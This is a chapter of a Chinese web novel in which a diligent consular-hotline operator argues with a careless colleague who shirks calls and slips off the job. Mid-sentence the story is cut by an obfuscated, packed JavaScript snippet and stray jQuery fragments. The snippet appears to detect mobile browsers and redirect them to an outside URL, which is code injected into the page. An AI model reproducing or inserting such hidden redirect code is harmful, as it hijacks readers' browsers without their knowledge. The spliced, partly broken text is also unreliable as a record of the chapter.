9. 第 9 章
,绿色三级24小时内回复并须在48小时之内归档,所有电话录音并备份,月度抽查比例在10%左右,处理不当的工单有相应处罚机制。

    应寒栀的耐心是出了名的好,每通来电她都认真接听,柔声解答,详实记录,与此形成鲜明对比的则是她的搭档陆一鸣。

    “不清楚,您受累再问问吧。”

    “不好意思哈,我听不懂你的方言。”

    一开始几个电话还能使用文明用语,虽然他的京北强调透着股玩世不恭的味道,但是总不至于太离谱。

    然而电话接了没几个,他就明显不耐烦了。

    “不好意思,你的问题不属于我们解答的范围。”

    一连好几个来电,他都使用同样话术三秒结束了咨询工单。

    在一旁的应寒栀有点听不下去,她犹豫了许久,到底要不要开这个口。开口吧,其实今天她的白班已经结束了,理论上接班的陆一鸣无论出现什么问题都与她无关,可是不说吧,她又怕真出什么篓子误事,从她内心角度而言,她不希望这样的事情发生。

    看了眼手表,应寒栀一边收拾着自己的东西准备下班,一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16572361|187045||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    边友情提醒:“那个……我们算是AB岗合作,每一通电话都有录音的……你这……要是被检查到了,咱俩都不好交差。”

    “这07号座机也就一模拟训练电话机,差不多得了,现在不是以前,领事保护热线早都外包给专业客服团队了,那套机制不要太成熟,根本误不了事。”陆一鸣受不了应寒栀这一根筋似的榆木脑袋,忍无可忍道出实情,让应寒栀这个新人菜鸟放一百个心。

    加之陆一鸣今天自己的心情也不好,说话间没了往日的散漫,口气冲得很:“您别整那么紧张和严肃行吗?您是真的天真呢,还是搁这儿想表现自己?”

    一口一个您字的京腔咬着,跟吃了炸药似的。

    “不是我紧张和严肃,就算是模拟的……”应寒栀还在想着怎么用更委婉的措辞来表达,奈何这几天的相处下来,她深知陆一鸣根本不吃婉转那一套。

    她顿了顿,索性直言:“你怎么样的工作态度和理念我管不着,只是大家同为同事,上次开会还说了可能会派我俩一起去国外出差,起码的协作精神要有吧。我明明知道你现在的做法欠妥,我不能装瞎当看不见。”

    陆一鸣冷哼一声,然后煞有介事点点头,果断招手示意:“协作精神是吧?那必须要有的。正好,你来帮我顶一下。我去趟卫生间。”

    这人偷懒都不带换个借口的。

    应寒栀内心白眼翻上了天,心想他又来这一招,鬼才相信他是去卫生间,这分明是擅离岗位!

    前面她已经帮他顶过好几次班,每次的时间少则半小时,多则半天,他不领情就算了,还变本加厉起来。

    “顶不了,我负不了这个责,而且我的班已经结束了。你有什么特殊情况跟领导汇报吧。”

    “开口闭口领导的,你不会真以为认真接几通电话就能获得你所谓领导的青睐和高看吧?一个合同工,你跟我较上劲了?”

    陆一鸣低声骂了句国粹,缓缓从座位上起身,慢悠悠舒展身体伸完懒腰后,他拿上自己的车钥匙和手机,迈着六亲不

本章未完,请点击下一页继续阅读>>